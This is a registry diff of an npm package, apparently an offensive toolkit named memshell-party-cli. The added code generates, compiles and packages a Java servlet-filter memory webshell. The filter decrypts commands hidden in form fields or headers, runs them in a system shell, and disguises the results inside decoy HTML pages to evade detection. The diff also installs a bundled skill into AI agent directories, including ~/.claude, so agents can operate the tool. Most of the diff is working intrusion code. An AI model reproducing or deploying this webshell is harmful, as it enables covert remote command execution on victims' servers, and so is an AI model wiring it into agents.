memshell-party-cli 0.4.0 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -2634,38 +2634,560 @@ async function startMcpStdio(client) {
2634
2634
  const transport = new StdioServerTransport();
2635
2635
  await server.connect(transport);
2636
2636
  }
2637
+
2638
+ // src/connect/mimic-codecs.ts
2639
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2640
+ var LEGACY_CIPHER = {
2641
+ algorithm: "aes-ecb",
2642
+ encoding: "base64",
2643
+ padTail: false,
2644
+ marker: "js-var"
2645
+ };
2646
+ function resolveCipher(partial) {
2647
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
2648
+ }
2649
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2650
+ const id = md5Hex(pass + secretKey).slice(0, 5);
2651
+ if (cipher.marker === "html-comment") {
2652
+ const left2 = `<!--Re${id}_config:`;
2653
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2654
+ }
2655
+ const left = `var Re${id}_config="`;
2656
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2657
+ }
2658
+
2659
+ // src/custom/build.ts
2660
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
2661
+ import { join as join6 } from "path";
2662
+
2663
+ // src/core/site-profile.ts
2664
+ import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
+ import { homedir as homedir4 } from "os";
2666
+ import { join as join5 } from "path";
2667
+ function profileTemplates(profile) {
2668
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
+ return profile.templates;
2670
+ }
2671
+ if (profile.template) {
2672
+ return [
2673
+ {
2674
+ title: profile.title ?? "",
2675
+ template: profile.template,
2676
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
2677
+ }
2678
+ ];
2679
+ }
2680
+ return [];
2681
+ }
2682
+ function profileRequests(profile) {
2683
+ if (!profile.request) return [];
2684
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
2685
+ }
2686
+
2687
+ // src/custom/java-template.ts
2688
+ function javaStringLiteral(s) {
2689
+ return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
+ }
2691
+ var MD5_METHOD = String.raw`
2692
+ static String md5Hex(String s) throws Exception {
2693
+ MessageDigest m = MessageDigest.getInstance("MD5");
2694
+ byte[] d = m.digest(s.getBytes("UTF-8"));
2695
+ StringBuilder sb = new StringBuilder();
2696
+ for (byte b : d) sb.append(String.format("%02x", b & 0xff));
2697
+ return sb.toString();
2698
+ }
2699
+ `;
2700
+ function cryptMethod(algorithm) {
2701
+ switch (algorithm) {
2702
+ case "aes-ecb":
2703
+ return String.raw`
2704
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2705
+ Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
2706
+ c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
2707
+ new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
2708
+ return c.doFinal(data);
2709
+ }
2710
+ `;
2711
+ case "aes-cbc":
2712
+ return String.raw`
2713
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2714
+ Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
2715
+ SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
2716
+ if (enc) {
2717
+ byte[] iv = new byte[16];
2718
+ new java.security.SecureRandom().nextBytes(iv);
2719
+ c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
2720
+ byte[] ct = c.doFinal(data);
2721
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2722
+ bos.write(iv);
2723
+ bos.write(ct);
2724
+ return bos.toByteArray();
2725
+ }
2726
+ c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
2727
+ return c.doFinal(data, 16, data.length - 16);
2728
+ }
2729
+ `;
2730
+ case "xor":
2731
+ return String.raw`
2732
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2733
+ byte[] k = key.getBytes("UTF-8");
2734
+ byte[] out = new byte[data.length];
2735
+ for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
2736
+ return out;
2737
+ }
2738
+ `;
2739
+ }
2740
+ }
2741
+ function encDecMethods(encoding) {
2742
+ switch (encoding) {
2743
+ case "base64":
2744
+ return String.raw`
2745
+ static String enc(byte[] data) {
2746
+ return java.util.Base64.getEncoder().encodeToString(data);
2747
+ }
2748
+ static byte[] dec(String s) {
2749
+ return java.util.Base64.getDecoder().decode(s);
2750
+ }
2751
+ `;
2752
+ case "base64url":
2753
+ return String.raw`
2754
+ static String enc(byte[] data) {
2755
+ return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
2756
+ }
2757
+ static byte[] dec(String s) {
2758
+ return java.util.Base64.getUrlDecoder().decode(s);
2759
+ }
2760
+ `;
2761
+ case "hex":
2762
+ return String.raw`
2763
+ static String enc(byte[] data) {
2764
+ StringBuilder sb = new StringBuilder();
2765
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2766
+ return sb.toString();
2767
+ }
2768
+ static byte[] dec(String s) {
2769
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2770
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2771
+ return bos.toByteArray();
2772
+ }
2773
+ `;
2774
+ }
2775
+ }
2776
+ var PAD_METHODS = String.raw`
2777
+ static int padLen(String aesKey) throws Exception {
2778
+ return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
2779
+ }
2780
+ static String appendPad(String s, String aesKey) throws Exception {
2781
+ int n = padLen(aesKey);
2782
+ StringBuilder sb = new StringBuilder(s);
2783
+ java.util.Random r = new java.util.Random();
2784
+ for (int i = 0; i < n; i++) {
2785
+ sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
2786
+ }
2787
+ return sb.toString();
2788
+ }
2789
+ static String stripPad(String s, String aesKey) throws Exception {
2790
+ int n = padLen(aesKey);
2791
+ return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
2792
+ }
2793
+ `;
2794
+ function fieldTransforms(cipher) {
2795
+ const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
2796
+ const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
2797
+ return `
2798
+ static String encryptField(byte[] plain, String aesKey) throws Exception {
2799
+ String s = enc(crypt(plain, aesKey, true));
2800
+ return ${afterEncode};
2801
+ }
2802
+ static byte[] decryptField(String v, String aesKey) throws Exception {
2803
+ String s = ${beforeDecode};
2804
+ return crypt(dec(s), aesKey, false);
2805
+ }
2806
+ `;
2807
+ }
2808
+ function wrapPayloadMethod(marker) {
2809
+ if (marker === "html-comment") {
2810
+ return String.raw`
2811
+ static String wrapPayload(String payload, String passKey) throws Exception {
2812
+ return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
2813
+ }
2814
+ `;
2815
+ }
2816
+ return String.raw`
2817
+ static String wrapPayload(String payload, String passKey) throws Exception {
2818
+ return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
2819
+ }
2820
+ `;
2821
+ }
2822
+ function sharedMethods(cipher) {
2823
+ return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
+ }
2825
+ function renderFilterJava(opts) {
2826
+ const { className, pass, secret, fields, templates, cipher } = opts;
2827
+ const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2829
+ return `package mimic;
2830
+
2831
+ import java.io.*;
2832
+ import java.security.MessageDigest;
2833
+ import javax.crypto.Cipher;
2834
+ import javax.crypto.spec.IvParameterSpec;
2835
+ import javax.crypto.spec.SecretKeySpec;
2836
+ import javax.servlet.*;
2837
+ import javax.servlet.http.*;
2838
+
2839
+ /**
2840
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
+ * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
+ *
2843
+ * Detection uses getParameter()/getHeader() only, never reads the body
2844
+ * stream: form posts are parsed+cached by the container so downstream
2845
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
+ * untouched body stream for the shell behind us. Anything that is not ours
2847
+ * falls through chain.doFilter; any error answers with the cover page.
2848
+ */
2849
+ public class ${className} implements Filter {
2850
+ /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
+ static final String[] FIELDS = { ${fieldsJava} };
2852
+ /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
+ static final String PASS = "${javaStringLiteral(pass)}";
2854
+ static final String SECRET = "${javaStringLiteral(secret)}";
2855
+ /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2856
+ static final String[] TPLS = {
2857
+ ${tplsJava}
2858
+ };
2859
+
2860
+ public void init(FilterConfig filterConfig) {}
2861
+ public void destroy() {}
2862
+ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2863
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
+ throws IOException, ServletException {
2865
+ String value = null;
2866
+ for (String f : FIELDS) {
2867
+ value = request.getParameter(f);
2868
+ if (value == null && request instanceof HttpServletRequest) {
2869
+ // secretIn=header: the ciphertext may ride a header instead of a form field
2870
+ value = ((HttpServletRequest) request).getHeader(f);
2871
+ }
2872
+ if (value != null) break;
2873
+ }
2874
+ if (value == null) {
2875
+ chain.doFilter(request, response);
2876
+ return;
2877
+ }
2878
+ String aesKey;
2879
+ byte[] cmd;
2880
+ try {
2881
+ aesKey = md5Hex(SECRET).substring(0, 16);
2882
+ cmd = decryptField(value, aesKey);
2883
+ } catch (Exception notOurs) {
2884
+ // the field exists but doesn't decrypt \u2014 this is someone else's
2885
+ // legitimate form (e.g. the real login POST), stay invisible
2886
+ chain.doFilter(request, response);
2887
+ return;
2888
+ }
2889
+ String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
2890
+ try {
2891
+ String command = new String(cmd, "UTF-8");
2892
+ boolean win = System.getProperty("os.name").toLowerCase().contains("win");
2893
+ ProcessBuilder pb = win
2894
+ ? new ProcessBuilder("cmd.exe", "/c", command)
2895
+ : new ProcessBuilder("/bin/sh", "-c", command);
2896
+ pb.redirectErrorStream(true);
2897
+ Process proc = pb.start();
2898
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
+ InputStream in = proc.getInputStream();
2900
+ byte[] buf = new byte[8192];
2901
+ int n;
2902
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
+ proc.waitFor();
2904
+ String payload = encryptField(bos.toByteArray(), aesKey);
2905
+ String fragment = wrapPayload(payload, PASS + SECRET);
2906
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
+ String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
+ response.setContentType("text/html;charset=UTF-8");
2909
+ response.setCharacterEncoding("UTF-8");
2910
+ response.getWriter().write(page);
2911
+ } catch (Exception e) {
2912
+ // behave like the cover page on any error \u2014 stay quiet
2913
+ response.setContentType("text/html;charset=UTF-8");
2914
+ response.getWriter().write(tpl);
2915
+ }
2916
+ }
2917
+ }
2918
+ `;
2919
+ }
2920
+ function renderCryptoProbe(cipher) {
2921
+ return `import java.io.*;
2922
+ import java.security.MessageDigest;
2923
+ import javax.crypto.Cipher;
2924
+ import javax.crypto.spec.IvParameterSpec;
2925
+ import javax.crypto.spec.SecretKeySpec;
2926
+
2927
+ /** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
2928
+ public class CryptoProbe {
2929
+ ${sharedMethods(cipher)}
2930
+ static String bytesToHex(byte[] data) {
2931
+ StringBuilder sb = new StringBuilder();
2932
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2933
+ return sb.toString();
2934
+ }
2935
+ static byte[] hexToBytes(String s) {
2936
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2937
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2938
+ return bos.toByteArray();
2939
+ }
2940
+
2941
+ public static void main(String[] args) throws Exception {
2942
+ String aesKey = md5Hex(args[1]).substring(0, 16);
2943
+ if ("enc".equals(args[0])) {
2944
+ // hex plaintext on argv -> wire value on stdout
2945
+ System.out.println(encryptField(hexToBytes(args[2]), aesKey));
2946
+ } else {
2947
+ // wire value on argv -> hex plaintext on stdout
2948
+ System.out.println(bytesToHex(decryptField(args[2], aesKey)));
2949
+ }
2950
+ }
2951
+ }
2952
+ `;
2953
+ }
2954
+
2955
+ // src/custom/javac.ts
2956
+ import { execFileSync } from "child_process";
2957
+ import { existsSync as existsSync5 } from "fs";
2958
+ import { fileURLToPath } from "url";
2959
+ function servletApiJar() {
2960
+ const candidates = [
2961
+ new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
2962
+ // dist/*.js
2963
+ new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
2964
+ // src/custom/*.ts
2965
+ ];
2966
+ for (const candidate of candidates) {
2967
+ const p = fileURLToPath(candidate);
2968
+ if (existsSync5(p)) return p;
2969
+ }
2970
+ throw new Error(
2971
+ "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
2972
+ );
2973
+ }
2974
+ function findJavac() {
2975
+ try {
2976
+ execFileSync("javac", ["-version"], { stdio: "pipe" });
2977
+ return "javac";
2978
+ } catch {
2979
+ throw new Error(
2980
+ "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
2981
+ );
2982
+ }
2983
+ }
2984
+ function hasJavac() {
2985
+ try {
2986
+ findJavac();
2987
+ return true;
2988
+ } catch {
2989
+ return false;
2990
+ }
2991
+ }
2992
+ function compileJava(sources, outDir, opts = {}) {
2993
+ const javac = findJavac();
2994
+ const args = ["-encoding", "UTF-8", "--release", "8"];
2995
+ if (opts.classpath && opts.classpath.length > 0) {
2996
+ args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
2997
+ }
2998
+ args.push("-d", outDir, ...sources);
2999
+ execFileSync(javac, args, { stdio: "pipe" });
3000
+ }
3001
+
3002
+ // src/custom/build.ts
3003
+ function profileSecretFields(profile) {
3004
+ const shapes = profileRequests(profile);
3005
+ const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
+ return fields.length > 0 ? fields : ["pass"];
3007
+ }
3008
+ function defaultClassName() {
3009
+ return `MimicFilter${randomString(4)}`;
3010
+ }
3011
+ async function buildCustomMemshell(input, client, deps = {}) {
3012
+ const compile = deps.compile ?? compileJava;
3013
+ const jarOf = deps.servletJar ?? servletApiJar;
3014
+ const className = input.className ?? defaultClassName();
3015
+ const shellType = input.shellType ?? "Filter";
3016
+ const urlPattern = input.urlPattern ?? "/*";
3017
+ const packer = input.packer ?? "DefaultBase64";
3018
+ const cipher = resolveCipher(input.profile.cipher);
3019
+ const templates = profileTemplates(input.profile).map((t) => t.template);
3020
+ if (templates.length === 0) {
3021
+ throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
+ }
3023
+ const outDir = input.outDir;
3024
+ const packageDir = join6(outDir, "mimic");
3025
+ mkdirSync4(packageDir, { recursive: true });
3026
+ const javaSource = renderFilterJava({
3027
+ className,
3028
+ pass: input.pass,
3029
+ secret: input.secret,
3030
+ fields: profileSecretFields(input.profile),
3031
+ templates,
3032
+ cipher
3033
+ });
3034
+ const javaFile = join6(packageDir, `${className}.java`);
3035
+ writeFileSync5(javaFile, javaSource, "utf8");
3036
+ compile([javaFile], outDir, { classpath: [jarOf()] });
3037
+ const classFile = join6(packageDir, `${className}.class`);
3038
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
3039
+ const response = await client.generateMemShell({
3040
+ shellConfig: {
3041
+ server: input.server,
3042
+ shellTool: "Custom",
3043
+ shellType,
3044
+ targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
3045
+ },
3046
+ shellToolConfig: {
3047
+ shellClassName: `mimic.${className}`,
3048
+ shellClassBase64
3049
+ },
3050
+ injectorConfig: { urlPattern },
3051
+ packer
3052
+ });
3053
+ const payloads = {};
3054
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3055
+ for (const [name, value] of Object.entries(response.allPackResults)) {
3056
+ const file = join6(outDir, `payload-${name}.txt`);
3057
+ writeFileSync5(file, `${value}
3058
+ `, "utf8");
3059
+ payloads[name] = file;
3060
+ }
3061
+ } else if (response.packResult !== void 0) {
3062
+ const file = join6(outDir, "payload.txt");
3063
+ writeFileSync5(file, `${response.packResult}
3064
+ `, "utf8");
3065
+ payloads[packer] = file;
3066
+ }
3067
+ const result = {
3068
+ className,
3069
+ fullClassName: `mimic.${className}`,
3070
+ injectorClassName: response.memShellResult.injectorClassName,
3071
+ packer,
3072
+ server: input.server,
3073
+ shellType,
3074
+ urlPattern,
3075
+ pass: input.pass,
3076
+ secret: input.secret,
3077
+ cipher,
3078
+ response,
3079
+ files: {
3080
+ java: javaFile,
3081
+ classFile,
3082
+ manifest: join6(outDir, "manifest.json"),
3083
+ payloads
3084
+ }
3085
+ };
3086
+ const manifest = {
3087
+ tool: "mimic",
3088
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
3089
+ profile: input.profile.name,
3090
+ server: result.server,
3091
+ shellType: result.shellType,
3092
+ urlPattern: result.urlPattern,
3093
+ packer: result.packer,
3094
+ className: result.fullClassName,
3095
+ injectorClassName: result.injectorClassName,
3096
+ pass: result.pass,
3097
+ key: result.secret,
3098
+ cipher: result.cipher,
3099
+ note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
3100
+ connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
3101
+ files: result.files
3102
+ };
3103
+ writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3104
+ `, "utf8");
3105
+ return result;
3106
+ }
3107
+
3108
+ // src/core/skill-install.ts
3109
+ import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
3110
+ import { homedir as homedir5 } from "os";
3111
+ import { join as join7 } from "path";
3112
+ import { fileURLToPath as fileURLToPath2 } from "url";
3113
+ var SKILL_NAME = "memshell-party";
3114
+ function skillSourceDir() {
3115
+ const candidates = [
3116
+ new URL(`../skills/${SKILL_NAME}`, import.meta.url),
3117
+ // dist/*.js
3118
+ new URL(`../../skills/${SKILL_NAME}`, import.meta.url)
3119
+ // src/core/*.ts
3120
+ ];
3121
+ for (const candidate of candidates) {
3122
+ const p = fileURLToPath2(candidate);
3123
+ if (existsSync6(p)) return p;
3124
+ }
3125
+ throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);
3126
+ }
3127
+ function skillTargetDir(scope, projectDir) {
3128
+ switch (scope) {
3129
+ case "user":
3130
+ return join7(homedir5(), ".agents", "skills", SKILL_NAME);
3131
+ case "claude":
3132
+ return join7(homedir5(), ".claude", "skills", SKILL_NAME);
3133
+ case "project":
3134
+ return join7(projectDir ?? process.cwd(), "skills", SKILL_NAME);
3135
+ }
3136
+ }
3137
+ function installSkill(scopes, opts = {}) {
3138
+ const src = opts.sourceDir ?? skillSourceDir();
3139
+ return scopes.map((scope) => {
3140
+ const dir = skillTargetDir(scope, opts.projectDir);
3141
+ mkdirSync5(dir, { recursive: true });
3142
+ cpSync(src, dir, { recursive: true });
3143
+ return { scope, dir, files: readdirSync2(dir).sort() };
3144
+ });
3145
+ }
2637
3146
  export {
2638
3147
  ApiError,
2639
3148
  CLI_VERSION,
2640
3149
  DEFAULT_API_URL,
2641
3150
  ENV_VAR,
2642
3151
  JDK_VERSIONS,
3152
+ LEGACY_CIPHER,
2643
3153
  MemPartyClient,
2644
3154
  OUTPUT_LIMIT,
3155
+ SKILL_NAME,
2645
3156
  autoSaveShell,
3157
+ buildCustomMemshell,
2646
3158
  buildMemShellRequest,
2647
3159
  buildProbeRequest,
2648
3160
  createMcpServer,
3161
+ defaultClassName,
3162
+ deriveMarkers,
2649
3163
  emitPayload,
2650
3164
  execBehinder,
2651
3165
  execGodzilla,
2652
3166
  formatOp,
2653
3167
  getProject,
3168
+ hasJavac,
3169
+ installSkill,
2654
3170
  listProjects,
2655
3171
  logOp,
2656
3172
  marshalFrameBase64,
2657
3173
  marshalSuo5Map,
2658
3174
  opLogPath,
3175
+ profileSecretFields,
2659
3176
  readOps,
2660
3177
  removeProject,
2661
3178
  removeShell,
3179
+ renderCryptoProbe,
3180
+ renderFilterJava,
2662
3181
  resolveApiUrl,
3182
+ resolveCipher,
2663
3183
  resolveConnection,
2664
3184
  resolveJreVersion,
2665
3185
  saveProjectMeta,
2666
3186
  saveShell,
2667
3187
  saveShellMeta,
2668
3188
  shouldDecode,
3189
+ skillSourceDir,
3190
+ skillTargetDir,
2669
3191
  startMcpStdio,
2670
3192
  targetStorePath,
2671
3193
  testBehinder,